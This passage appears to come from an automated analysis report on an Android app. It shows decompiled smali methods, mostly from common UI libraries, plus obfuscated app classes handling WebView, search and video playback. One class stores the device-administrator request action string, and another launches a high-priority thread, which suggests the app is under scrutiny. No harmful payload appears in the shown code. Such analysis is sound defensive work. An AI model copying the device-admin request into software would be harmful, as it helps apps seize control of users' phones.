41invoke-virtual {p1, p3, p2, v0}, Lcom/mikepenz/a/c/b;->a(Landroid/view/View;Landroid/support/v7/widget/RecyclerView$u;Lcom/mikepenz/a/b;)V
42goto/16 :goto_c
APIs
  • com.mikepenz.a.b.h
  • com.mikepenz.a.b.f
  • com.mikepenz.a.b.h
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(",
3"Landroid/view/View;",
4"Landroid/view/MotionEvent;",
5"I",
6"Lcom/mikepenz/a/b",
7"<TItem;>;TItem;)Z"
8}
9.end annotation
10.prologue
12iget-object v0, p0, Lcom/mikepenz/a/b$3;->a:Lcom/mikepenz/a/b;
14invoke-static {v0}, Lcom/mikepenz/a/b;->h(Lcom/mikepenz/a/b;)Lcom/mikepenz/a/b$g;
15move-result-object v0
16if-eqz v0, :cond_20
18iget-object v0, p0, Lcom/mikepenz/a/b$3;->a:Lcom/mikepenz/a/b;
20invoke-virtual {v0, p3}, Lcom/mikepenz/a/b;->f(I)Lcom/mikepenz/a/b$h;
21move-result-object v1
23iget-object v0, p0, Lcom/mikepenz/a/b$3;->a:Lcom/mikepenz/a/b;
25invoke-static {v0}, Lcom/mikepenz/a/b;->h(Lcom/mikepenz/a/b;)Lcom/mikepenz/a/b$g;
26move-result-object v0
28iget-object v3, v1, Lcom/mikepenz/a/b$h;->a:Lcom/mikepenz/a/c;
30iget-object v4, v1, Lcom/mikepenz/a/b$h;->b:Lcom/mikepenz/a/g;
31move-object v1, p1
32move-object v2, p2
33move v5, p3
35invoke-interface/range {v0 .. v5}, Lcom/mikepenz/a/b$g;->a(Landroid/view/View;Landroid/view/MotionEvent;Lcom/mikepenz/a/c;Lcom/mikepenz/a/g;I)Z
36move-result v0
37goto_1f: return v0
38cond_20: const/4 v0, 0x0
39goto/16 :goto_1f
Cross References
APIs
  • com.mikepenz.a.b.a
  • android.util.SparseArray.valueAt
  • android.util.SparseArray.keyAt
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(I)TItem;"
3}
4.end annotation
5.prologue
6if-ltz p1, :cond_6
7iget v0, p0, Lcom/mikepenz/a/b;->d:I
8if-lt p1, v0, :cond_8
9cond_6: const/4 v0, 0x0
10goto_7: return-object v0
11cond_8:
12iget-object v0, p0, Lcom/mikepenz/a/b;->c:Landroid/util/SparseArray;
14invoke-static {v0, p1}, Lcom/mikepenz/a/b;->a(Landroid/util/SparseArray;I)I
15move-result v1
17iget-object v0, p0, Lcom/mikepenz/a/b;->c:Landroid/util/SparseArray;
19invoke-virtual {v0, v1}, Landroid/util/SparseArray;->valueAt(I)Ljava/lang/Object;
20move-result-object v0
21check-cast v0, Lcom/mikepenz/a/c;
23iget-object v2, p0, Lcom/mikepenz/a/b;->c:Landroid/util/SparseArray;
25invoke-virtual {v2, v1}, Landroid/util/SparseArray;->keyAt(I)I
26move-result v1
27sub-int v1, p1, v1
29invoke-interface {v0, v1}, Lcom/mikepenz/a/c;->c(I)Lcom/mikepenz/a/g;
30move-result-object v0
31goto/16 :goto_7
APIs
  • android.widget.TextView.getText
  • android.support.v7.widget.SearchView.setQuery
  • android.support.v7.widget.SearchView.clearFocus
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity$3$1$1;->b:Lcom/pedqaesf/app/INSMainActivity$3$1;
4iget-object v0, v0, Lcom/pedqaesf/app/INSMainActivity$3$1;->j:Lcom/pedqaesf/app/INSMainActivity$3;
6iget-object v0, v0, Lcom/pedqaesf/app/INSMainActivity$3;->a:Lcom/pedqaesf/app/INSMainActivity;
8iget-object v0, v0, Lcom/pedqaesf/app/INSMainActivity;->t:Landroid/support/v7/widget/SearchView;
10iget-object v1, p0, Lcom/pedqaesf/app/INSMainActivity$3$1$1;->a:Landroid/widget/TextView;
12invoke-virtual {v1}, Landroid/widget/TextView;->getText()Ljava/lang/CharSequence;
13move-result-object v1
14const/4 v2, 0x1
16invoke-virtual {v0, v1, v2}, Landroid/support/v7/widget/SearchView;->setQuery(Ljava/lang/CharSequence;Z)V
  • Data flow analysis:
    • p1: 1
18iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity$3$1$1;->b:Lcom/pedqaesf/app/INSMainActivity$3$1;
20iget-object v0, v0, Lcom/pedqaesf/app/INSMainActivity$3$1;->j:Lcom/pedqaesf/app/INSMainActivity$3;
22iget-object v0, v0, Lcom/pedqaesf/app/INSMainActivity$3;->a:Lcom/pedqaesf/app/INSMainActivity;
24iget-object v0, v0, Lcom/pedqaesf/app/INSMainActivity;->t:Landroid/support/v7/widget/SearchView;
26invoke-virtual {v0}, Landroid/support/v7/widget/SearchView;->clearFocus()V
27return-void
APIs
  • android.graphics.drawable.StateListDrawable.setColorFilter
  • android.graphics.drawable.StateListDrawable.onStateChange
  • android.graphics.drawable.StateListDrawable.setColorFilter
Position Instruction Meta Information
0.prologue
1const/4 v0, 0x0
2array-length v2, p1
3move v1, v0
4goto_3: if-ge v1, v2, :cond_10
5aget v3, p1, v1
6const v4, 0x10100a1
7if-ne v3, v4, :cond_d
8const/4 v0, 0x1
9cond_d: add-int/lit8 v1, v1, 0x1
10goto/16 :goto_3
11cond_10: if-eqz v0, :cond_1e
12iget v0, p0, Lcom/mikepenz/materialize/a/a;->b:I
14sget-object v1, Landroid/graphics/PorterDuff$Mode;->SRC_IN:Landroid/graphics/PorterDuff$Mode;
16invoke-super {p0, v0, v1}, Landroid/graphics/drawable/StateListDrawable;->setColorFilter(ILandroid/graphics/PorterDuff$Mode;)V
17goto_19:
18invoke-super {p0, p1}, Landroid/graphics/drawable/StateListDrawable;->onStateChange([I)Z
19move-result v0
20return v0
21cond_1e: iget v0, p0, Lcom/mikepenz/materialize/a/a;->a:I
23sget-object v1, Landroid/graphics/PorterDuff$Mode;->SRC_IN:Landroid/graphics/PorterDuff$Mode;
25invoke-super {p0, v0, v1}, Landroid/graphics/drawable/StateListDrawable;->setColorFilter(ILandroid/graphics/PorterDuff$Mode;)V
26goto/16 :goto_19
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.setPriority
  • java.lang.Thread.start
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb$a;->a:Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb;
3new-instance v1, Ljava/lang/Thread;
4new-instance v2, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb$a$1;
6invoke-direct {v2, p0}, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb$a$1;-><init>(Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb$a;)V
8invoke-direct {v1, v2}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
9iput-object v1, v0, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb;->e:Ljava/lang/Thread;
10try_start_e:
11iget-object v0, p0, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb$a;->a:Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb;
13iget-object v0, v0, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb;->e:Ljava/lang/Thread;
14const/16 v1, 0xa
16invoke-virtual {v0, v1}, Ljava/lang/Thread;->setPriority(I)V
  • Data flow analysis:
    • p0: 10
18iget-object v0, p0, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb$a;->a:Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb;
20iget-object v0, v0, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb;->e:Ljava/lang/Thread;
22invoke-virtual {v0}, Ljava/lang/Thread;->start()V
23goto_1e: return-void
24catch_1f: move-exception v0
25goto/16 :goto_1e
Cross References
APIs
  • com.mikepenz.a.b.e
  • java.util.List.size
  • com.mikepenz.a.b.a
Position Instruction Meta Information
0.prologue
2invoke-virtual {p0, p1}, Lcom/mikepenz/a/b;->e(I)Lcom/mikepenz/a/g;
3move-result-object v0
4if-eqz v0, :cond_25
5instance-of v1, v0, Lcom/mikepenz/a/e;
6if-eqz v1, :cond_25
7check-cast v0, Lcom/mikepenz/a/e;
9invoke-interface {v0}, Lcom/mikepenz/a/e;->a()Z
10move-result v1
11if-eqz v1, :cond_25
13invoke-interface {v0}, Lcom/mikepenz/a/e;->b()Ljava/util/List;
14move-result-object v1
15if-eqz v1, :cond_25
17invoke-interface {v0}, Lcom/mikepenz/a/e;->b()Ljava/util/List;
18move-result-object v1
20invoke-interface {v1}, Ljava/util/List;->size()I
21move-result v1
22if-lez v1, :cond_25
24invoke-direct {p0, v0, p1, p2}, Lcom/mikepenz/a/b;->a(Lcom/mikepenz/a/e;IZ)V
25cond_25: return-void
APIs
  • android.webkit.WebView.stopLoading
  • android.webkit.WebView.goBack
  • com.pedqaesf.app.INSMainActivity.i
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity$7$1;->a:Lcom/pedqaesf/app/INSMainActivity$7;
4iget-object v0, v0, Lcom/pedqaesf/app/INSMainActivity$7;->a:Lcom/pedqaesf/app/INSMainActivity;
6iget-object v0, v0, Lcom/pedqaesf/app/INSMainActivity;->n:Landroid/webkit/WebView;
8invoke-virtual {v0}, Landroid/webkit/WebView;->stopLoading()V
10iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity$7$1;->a:Lcom/pedqaesf/app/INSMainActivity$7;
12iget-object v0, v0, Lcom/pedqaesf/app/INSMainActivity$7;->a:Lcom/pedqaesf/app/INSMainActivity;
14iget-object v0, v0, Lcom/pedqaesf/app/INSMainActivity;->n:Landroid/webkit/WebView;
16invoke-virtual {v0}, Landroid/webkit/WebView;->goBack()V
18iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity$7$1;->a:Lcom/pedqaesf/app/INSMainActivity$7;
20iget-object v0, v0, Lcom/pedqaesf/app/INSMainActivity$7;->a:Lcom/pedqaesf/app/INSMainActivity;
22invoke-virtual {v0}, Lcom/pedqaesf/app/INSMainActivity;->i()V
23return-void
Cross References
APIs
  • devlight.io.library.behavior.NavigationTabBarBehavior.a
  • devlight.io.library.ntb.NavigationTabBar.getHeight
  • devlight.io.library.behavior.NavigationTabBarBehavior.a
Position Instruction Meta Information
0.prologue
1const/4 v2, 0x1
2const/4 v1, 0x0
3iget-boolean v0, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->l:Z
4if-nez v0, :cond_7
5goto_6: return-void
6cond_7: const/4 v0, -0x1
7if-ne p2, v0, :cond_14
8iget-boolean v0, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->j:Z
9if-eqz v0, :cond_14
10iput-boolean v1, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->j:Z
12invoke-direct {p0, p1, v1, v1, v2}, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->a(Ldevlight/io/library/ntb/NavigationTabBar;IZZ)V
  • Data flow analysis:
    • p1: 0
    • p2: 0
    • p3: 1
13goto/16 :goto_6
14cond_14: if-ne p2, v2, :cond_6
15iget-boolean v0, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->j:Z
16if-nez v0, :cond_6
17iput-boolean v2, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->j:Z
19invoke-virtual {p1}, Ldevlight/io/library/ntb/NavigationTabBar;->getHeight()I
20move-result v0
22invoke-direct {p0, p1, v0, v1, v2}, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->a(Ldevlight/io/library/ntb/NavigationTabBar;IZZ)V
  • Data flow analysis:
    • p2: 0
    • p3: 1
23goto/16 :goto_6
APIs
  • android.webkit.WebView.getTitle
  • java.lang.String.trim
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity$1;->a:Lcom/pedqaesf/app/INSMainActivity;
4iget-object v0, v0, Lcom/pedqaesf/app/INSMainActivity;->o:Landroid/webkit/WebView;
6invoke-virtual {v0}, Landroid/webkit/WebView;->getTitle()Ljava/lang/String;
7move-result-object v0
8if-eqz v0, :cond_1a
10iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity$1;->a:Lcom/pedqaesf/app/INSMainActivity;
12iget-object v1, p0, Lcom/pedqaesf/app/INSMainActivity$1;->a:Lcom/pedqaesf/app/INSMainActivity;
14iget-object v1, v1, Lcom/pedqaesf/app/INSMainActivity;->o:Landroid/webkit/WebView;
16invoke-virtual {v1}, Landroid/webkit/WebView;->getTitle()Ljava/lang/String;
17move-result-object v1
19invoke-virtual {v1}, Ljava/lang/String;->trim()Ljava/lang/String;
20move-result-object v1
21iput-object v1, v0, Lcom/pedqaesf/app/INSMainActivity;->B:Ljava/lang/String;
22cond_1a: return-void
Cross References
APIs
  • android.widget.TextView.setText
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/mikepenz/materialize/b/d;->a:Ljava/lang/String;
3if-eqz v0, :cond_a
5iget-object v0, p0, Lcom/mikepenz/materialize/b/d;->a:Ljava/lang/String;
7invoke-virtual {p1, v0}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
8goto_9: return-void
9cond_a: iget v0, p0, Lcom/mikepenz/materialize/b/d;->b:I
10const/4 v1, -0x1
11if-eq v0, v1, :cond_15
12iget v0, p0, Lcom/mikepenz/materialize/b/d;->b:I
14invoke-virtual {p1, v0}, Landroid/widget/TextView;->setText(I)V
15goto/16 :goto_9
16cond_15:
17const-string v0, ""
19invoke-virtual {p1, v0}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
20goto/16 :goto_9
APIs
  • com.pedqaesf.app.views.INSCustomSwipeRefresh.setRefreshing
  • android.os.Handler.<init>
  • android.os.Handler.post
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity$5;->a:Lcom/pedqaesf/app/INSMainActivity;
4iget-object v0, v0, Lcom/pedqaesf/app/INSMainActivity;->u:Lcom/pedqaesf/app/views/INSCustomSwipeRefresh;
5const/4 v1, 0x1
7invoke-virtual {v0, v1}, Lcom/pedqaesf/app/views/INSCustomSwipeRefresh;->setRefreshing(Z)V
  • Data flow analysis:
    • p0: 1
8new-instance v0, Landroid/os/Handler;
10invoke-direct {v0}, Landroid/os/Handler;-><init>()V
11new-instance v1, Lcom/pedqaesf/app/INSMainActivity$5$1;
13invoke-direct {v1, p0}, Lcom/pedqaesf/app/INSMainActivity$5$1;-><init>(Lcom/pedqaesf/app/INSMainActivity$5;)V
15invoke-virtual {v0, v1}, Landroid/os/Handler;->post(Ljava/lang/Runnable;)Z
16return-void
Cross References
APIs
  • android.graphics.drawable.GradientDrawable.setColor
  • android.support.v4.content.a.c
  • android.graphics.drawable.GradientDrawable.setColor
Position Instruction Meta Information
0.prologue
1iget v0, p0, Lcom/mikepenz/materialize/b/a;->a:I
2if-eqz v0, :cond_a
3iget v0, p0, Lcom/mikepenz/materialize/b/a;->a:I
5invoke-virtual {p2, v0}, Landroid/graphics/drawable/GradientDrawable;->setColor(I)V
6goto_9: return-void
7cond_a: iget v0, p0, Lcom/mikepenz/materialize/b/a;->b:I
8const/4 v1, -0x1
9if-eq v0, v1, :cond_9
10iget v0, p0, Lcom/mikepenz/materialize/b/a;->b:I
12invoke-static {p1, v0}, Landroid/support/v4/content/a;->c(Landroid/content/Context;I)I
13move-result v0
15invoke-virtual {p2, v0}, Landroid/graphics/drawable/GradientDrawable;->setColor(I)V
16goto/16 :goto_9
Cross References
APIs
  • com.mikepenz.a.a.<init>
  • java.util.ArrayList.<init>
  • com.mikepenz.a.a.c$a.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Lcom/mikepenz/a/a;-><init>()V
3new-instance v0, Ljava/util/ArrayList;
5invoke-direct {v0}, Ljava/util/ArrayList;-><init>()V
6iput-object v0, p0, Lcom/mikepenz/a/a/c;->c:Ljava/util/List;
7const/4 v0, 0x1
8iput-boolean v0, p0, Lcom/mikepenz/a/a/c;->d:Z
9new-instance v0, Lcom/mikepenz/a/a/c$a;
11invoke-direct {v0, p0}, Lcom/mikepenz/a/a/c$a;-><init>(Lcom/mikepenz/a/a/c;)V
12iput-object v0, p0, Lcom/mikepenz/a/a/c;->e:Landroid/widget/Filter;
13return-void
APIs
  • android.view.MenuItem.getItemId
  • com.pedqaesf.app.INSSettingsActivity.onBackPressed
  • android.support.v7.app.AppCompatActivity.onOptionsItemSelected
Position Instruction Meta Information
0.prologue
2invoke-interface {p1}, Landroid/view/MenuItem;->getItemId()I
3move-result v0
4const v1, 0x102002c
5if-ne v0, v1, :cond_c
7invoke-virtual {p0}, Lcom/pedqaesf/app/INSSettingsActivity;->onBackPressed()V
8cond_c:
9invoke-super {p0, p1}, Landroid/support/v7/app/AppCompatActivity;->onOptionsItemSelected(Landroid/view/MenuItem;)Z
10move-result v0
11return v0
APIs
  • com.mikepenz.a.a.c.b
  • com.mikepenz.a.a.c.c
  • com.mikepenz.a.b.h
Position Instruction Meta Information
0.prologue
2invoke-virtual {p0}, Lcom/mikepenz/a/a/c;->b()Lcom/mikepenz/a/b;
3move-result-object v0
5invoke-virtual {p0}, Lcom/mikepenz/a/a/c;->c()I
6move-result v1
8invoke-virtual {v0, v1}, Lcom/mikepenz/a/b;->h(I)I
9move-result v0
10add-int/2addr v0, p1
11return v0
Cross References
APIs
  • android.content.Intent.<init>
  • com.pedqaesf.app.INSSplashActivity.startActivity
  • com.pedqaesf.app.INSSplashActivity.finish
Position Instruction Meta Information
0.prologue
1new-instance v0, Landroid/content/Intent;
2const-class v1, Lcom/pedqaesf/app/player/INSPlayerYouTubeView;
4invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
6invoke-virtual {p0, v0}, Lcom/pedqaesf/app/INSSplashActivity;->startActivity(Landroid/content/Intent;)V
8invoke-virtual {p0}, Lcom/pedqaesf/app/INSSplashActivity;->finish()V
9return-void
APIs
  • android.widget.ImageView.setImageDrawable
  • com.pedqaesf.app.views.INSCircularImageView.a
  • com.pedqaesf.app.views.INSCircularImageView.b
Position Instruction Meta Information
0.prologue
2invoke-super {p0, p1}, Landroid/widget/ImageView;->setImageDrawable(Landroid/graphics/drawable/Drawable;)V
4invoke-direct {p0, p1}, Lcom/pedqaesf/app/views/INSCircularImageView;->a(Landroid/graphics/drawable/Drawable;)Landroid/graphics/Bitmap;
5move-result-object v0
6iput-object v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->l:Landroid/graphics/Bitmap;
8invoke-direct {p0}, Lcom/pedqaesf/app/views/INSCircularImageView;->b()V
9return-void
Cross References
APIs
  • devlight.io.library.behavior.NavigationTabBarBehavior.a
  • devlight.io.library.behavior.a.b
Position Instruction Meta Information
0.prologue
2invoke-direct {p0, p2, p3}, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->a(Ldevlight/io/library/ntb/NavigationTabBar;Landroid/view/View;)V
4invoke-direct {p0, p3}, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->a(Landroid/view/View;)V
6invoke-super {p0, p1, p2, p3}, Ldevlight/io/library/behavior/a;->b(Landroid/support/design/widget/CoordinatorLayout;Landroid/view/View;Landroid/view/View;)Z
7move-result v0
8return v0
APIs
  • android.support.v7.app.AppCompatActivity.<init>
Strings
  • android.app.action.ADD_DEVICE_ADMIN
Position Instruction Meta Information
0.prologue
1const/4 v0, 0x0
3invoke-direct {p0}, Landroid/support/v7/app/AppCompatActivity;-><init>()V
4iput-boolean v0, p0, Lcom/pedqaesf/app/INSMainActivity;->q:Z
5iput-boolean v0, p0, Lcom/pedqaesf/app/INSMainActivity;->v:Z
6const/4 v0, 0x0
7iput-object v0, p0, Lcom/pedqaesf/app/INSMainActivity;->E:Lcom/mikepenz/materialdrawer/c;
9const-string v0, ""
10iput-object v0, p0, Lcom/pedqaesf/app/INSMainActivity;->B:Ljava/lang/String;
12const-string v0, "android.app.action.ADD_DEVICE_ADMIN"
13iput-object v0, p0, Lcom/pedqaesf/app/INSMainActivity;->D:Ljava/lang/String;
14return-void
APIs
  • java.lang.IllegalArgumentException.<init>
Strings
  • adjustViewBounds not supported.
Position Instruction Meta Information
0.prologue
1if-eqz p1, :cond_a
2new-instance v0, Ljava/lang/IllegalArgumentException;
4const-string v1, "adjustViewBounds not supported."
6invoke-direct {v0, v1}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: adjustViewBounds not supported.
7throw v0
8cond_a: return-void
APIs
  • com.mikepenz.a.b.e
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/mikepenz/a/b/a$3;->c:Lcom/mikepenz/a/b/a;
4invoke-static {v0}, Lcom/mikepenz/a/b/a;->a(Lcom/mikepenz/a/b/a;)Lcom/mikepenz/a/b;
5move-result-object v0
7iget-object v1, p0, Lcom/mikepenz/a/b/a$3;->a:Landroid/support/v7/widget/RecyclerView$u;
9invoke-virtual {v0, v1}, Lcom/mikepenz/a/b;->e(Landroid/support/v7/widget/RecyclerView$u;)I
10move-result v3
11const/4 v0, -0x1
12if-eq v3, v0, :cond_2a
14iget-object v0, p0, Lcom/mikepenz/a/b/a$3;->b:Lcom/mikepenz/a/c/c;
15check-cast v0, Lcom/mikepenz/a/c/e;
17iget-object v1, p0, Lcom/mikepenz/a/b/a$3;->c:Lcom/mikepenz/a/b/a;
19invoke-static {v1}, Lcom/mikepenz/a/b/a;->a(Lcom/mikepenz/a/b/a;)Lcom/mikepenz/a/b;
20move-result-object v4
22iget-object v1, p0, Lcom/mikepenz/a/b/a$3;->c:Lcom/mikepenz/a/b/a;
24invoke-static {v1}, Lcom/mikepenz/a/b/a;->a(Lcom/mikepenz/a/b/a;)Lcom/mikepenz/a/b;
25move-result-object v1
27invoke-virtual {v1, v3}, Lcom/mikepenz/a/b;->e(I)Lcom/mikepenz/a/g;
28move-result-object v5
29move-object v1, p1
30move-object v2, p2
32invoke-virtual/range {v0 .. v5}, Lcom/mikepenz/a/c/e;->a(Landroid/view/View;Landroid/view/MotionEvent;ILcom/mikepenz/a/b;Lcom/mikepenz/a/g;)Z
33move-result v0
34goto_29: return v0
35cond_2a: const/4 v0, 0x0
36goto/16 :goto_29
APIs
  • com.mikepenz.a.b.e
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/mikepenz/a/b/a$2;->c:Lcom/mikepenz/a/b/a;
4invoke-static {v0}, Lcom/mikepenz/a/b/a;->a(Lcom/mikepenz/a/b/a;)Lcom/mikepenz/a/b;
5move-result-object v0
7iget-object v1, p0, Lcom/mikepenz/a/b/a$2;->a:Landroid/support/v7/widget/RecyclerView$u;
9invoke-virtual {v0, v1}, Lcom/mikepenz/a/b;->e(Landroid/support/v7/widget/RecyclerView$u;)I
10move-result v1
11const/4 v0, -0x1
12if-eq v1, v0, :cond_28
14iget-object v0, p0, Lcom/mikepenz/a/b/a$2;->b:Lcom/mikepenz/a/c/c;
15check-cast v0, Lcom/mikepenz/a/c/d;
17iget-object v2, p0, Lcom/mikepenz/a/b/a$2;->c:Lcom/mikepenz/a/b/a;
19invoke-static {v2}, Lcom/mikepenz/a/b/a;->a(Lcom/mikepenz/a/b/a;)Lcom/mikepenz/a/b;
20move-result-object v2
22iget-object v3, p0, Lcom/mikepenz/a/b/a$2;->c:Lcom/mikepenz/a/b/a;
24invoke-static {v3}, Lcom/mikepenz/a/b/a;->a(Lcom/mikepenz/a/b/a;)Lcom/mikepenz/a/b;
25move-result-object v3
27invoke-virtual {v3, v1}, Lcom/mikepenz/a/b;->e(I)Lcom/mikepenz/a/g;
28move-result-object v3
30invoke-virtual {v0, p1, v1, v2, v3}, Lcom/mikepenz/a/c/d;->a(Landroid/view/View;ILcom/mikepenz/a/b;Lcom/mikepenz/a/g;)Z
31move-result v0
32goto_27: return v0
33cond_28: const/4 v0, 0x0
34goto/16 :goto_27
Cross References
APIs
  • android.util.SparseArray.size
  • android.util.SparseArray.valueAt
Position Instruction Meta Information
0.prologue
1const/4 v0, 0x0
2iget v1, p0, Lcom/mikepenz/a/b;->d:I
3if-nez v1, :cond_6
4goto_5: return v0
5cond_6:
6iget-object v1, p0, Lcom/mikepenz/a/b;->a:Landroid/util/SparseArray;
8invoke-virtual {v1}, Landroid/util/SparseArray;->size()I
9move-result v3
10move v2, v0
11move v1, v0
12goto_e: if-ge v2, v3, :cond_29
14iget-object v0, p0, Lcom/mikepenz/a/b;->a:Landroid/util/SparseArray;
16invoke-virtual {v0, v2}, Landroid/util/SparseArray;->valueAt(I)Ljava/lang/Object;
17move-result-object v0
18check-cast v0, Lcom/mikepenz/a/c;
20invoke-interface {v0}, Lcom/mikepenz/a/c;->c()I
21move-result v4
22if-ne v4, p1, :cond_20
23move v0, v1
24goto/16 :goto_5
25cond_20:
26invoke-interface {v0}, Lcom/mikepenz/a/c;->d()I
27move-result v0
28add-int/2addr v1, v0
29add-int/lit8 v0, v2, 0x1
30move v2, v0
31goto/16 :goto_e
32cond_29: move v0, v1
33goto/16 :goto_5
APIs
  • com.mikepenz.a.b.e
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/mikepenz/a/b/a$1;->c:Lcom/mikepenz/a/b/a;
4invoke-static {v0}, Lcom/mikepenz/a/b/a;->a(Lcom/mikepenz/a/b/a;)Lcom/mikepenz/a/b;
5move-result-object v0
7iget-object v1, p0, Lcom/mikepenz/a/b/a$1;->a:Landroid/support/v7/widget/RecyclerView$u;
9invoke-virtual {v0, v1}, Lcom/mikepenz/a/b;->e(Landroid/support/v7/widget/RecyclerView$u;)I
10move-result v1
11const/4 v0, -0x1
12if-eq v1, v0, :cond_26
14iget-object v0, p0, Lcom/mikepenz/a/b/a$1;->b:Lcom/mikepenz/a/c/c;
15check-cast v0, Lcom/mikepenz/a/c/a;
17iget-object v2, p0, Lcom/mikepenz/a/b/a$1;->c:Lcom/mikepenz/a/b/a;
19invoke-static {v2}, Lcom/mikepenz/a/b/a;->a(Lcom/mikepenz/a/b/a;)Lcom/mikepenz/a/b;
20move-result-object v2
22iget-object v3, p0, Lcom/mikepenz/a/b/a$1;->c:Lcom/mikepenz/a/b/a;
24invoke-static {v3}, Lcom/mikepenz/a/b/a;->a(Lcom/mikepenz/a/b/a;)Lcom/mikepenz/a/b;
25move-result-object v3
27invoke-virtual {v3, v1}, Lcom/mikepenz/a/b;->e(I)Lcom/mikepenz/a/g;
28move-result-object v3
30invoke-virtual {v0, p1, v1, v2, v3}, Lcom/mikepenz/a/c/a;->a(Landroid/view/View;ILcom/mikepenz/a/b;Lcom/mikepenz/a/g;)V
31cond_26: return-void
Cross References
APIs
  • android.support.design.widget.CoordinatorLayout$Behavior.a
  • devlight.io.library.behavior.a.a
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(",
3"Landroid/support/design/widget/CoordinatorLayout;",
4"TV;",
5"Landroid/view/View;",
6"IIII)V"
7}
8.end annotation
9.prologue
10const/4 v1, 0x0
12invoke-super/range {p0 .. p7}, Landroid/support/design/widget/CoordinatorLayout$Behavior;->a(Landroid/support/design/widget/CoordinatorLayout;Landroid/view/View;Landroid/view/View;IIII)V
13if-lez p7, :cond_18
14iget v0, p0, Ldevlight/io/library/behavior/a;->a:I
15if-gez v0, :cond_18
16iput v1, p0, Ldevlight/io/library/behavior/a;->a:I
17const/4 v0, 0x1
18iput v0, p0, Ldevlight/io/library/behavior/a;->c:I
19cond_f: iget v0, p0, Ldevlight/io/library/behavior/a;->a:I
20add-int/2addr v0, p7
21iput v0, p0, Ldevlight/io/library/behavior/a;->a:I
23invoke-virtual {p0}, Ldevlight/io/library/behavior/a;->a()V
24return-void
25cond_18: if-gez p7, :cond_f
26iget v0, p0, Ldevlight/io/library/behavior/a;->a:I
27if-lez v0, :cond_f
28iput v1, p0, Ldevlight/io/library/behavior/a;->a:I
29const/4 v0, -0x1
30iput v0, p0, Ldevlight/io/library/behavior/a;->c:I
31goto/16 :goto_f
APIs
  • android.support.design.widget.CoordinatorLayout$Behavior.a
  • devlight.io.library.behavior.a.b
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(",
3"Landroid/support/design/widget/CoordinatorLayout;",
4"TV;",
5"Landroid/view/View;",
6"II[I)V"
7}
8.end annotation
9.prologue
10const/4 v1, 0x0
12invoke-super/range {p0 .. p6}, Landroid/support/design/widget/CoordinatorLayout$Behavior;->a(Landroid/support/design/widget/CoordinatorLayout;Landroid/view/View;Landroid/view/View;II[I)V
13if-lez p5, :cond_18
14iget v0, p0, Ldevlight/io/library/behavior/a;->b:I
15if-gez v0, :cond_18
16iput v1, p0, Ldevlight/io/library/behavior/a;->b:I
17const/4 v0, 0x1
18iput v0, p0, Ldevlight/io/library/behavior/a;->d:I
19cond_f: iget v0, p0, Ldevlight/io/library/behavior/a;->b:I
20add-int/2addr v0, p5
21iput v0, p0, Ldevlight/io/library/behavior/a;->b:I
23invoke-virtual {p0}, Ldevlight/io/library/behavior/a;->b()V
24return-void
25cond_18: if-gez p5, :cond_f
26iget v0, p0, Ldevlight/io/library/behavior/a;->b:I
27if-lez v0, :cond_f
28iput v1, p0, Ldevlight/io/library/behavior/a;->b:I
29const/4 v0, -0x1
30iput v0, p0, Ldevlight/io/library/behavior/a;->d:I
31goto/16 :goto_f
Cross References
APIs
  • com.mikepenz.a.b.k
  • com.mikepenz.a.b.b
Position Instruction Meta Information
0.prologue
1const v1, 0x7fffffff
2iget-boolean v0, p0, Lcom/mikepenz/a/b;->k:Z
3if-eqz v0, :cond_17
5iget-object v0, p0, Lcom/mikepenz/a/b;->m:Ljava/util/Set;
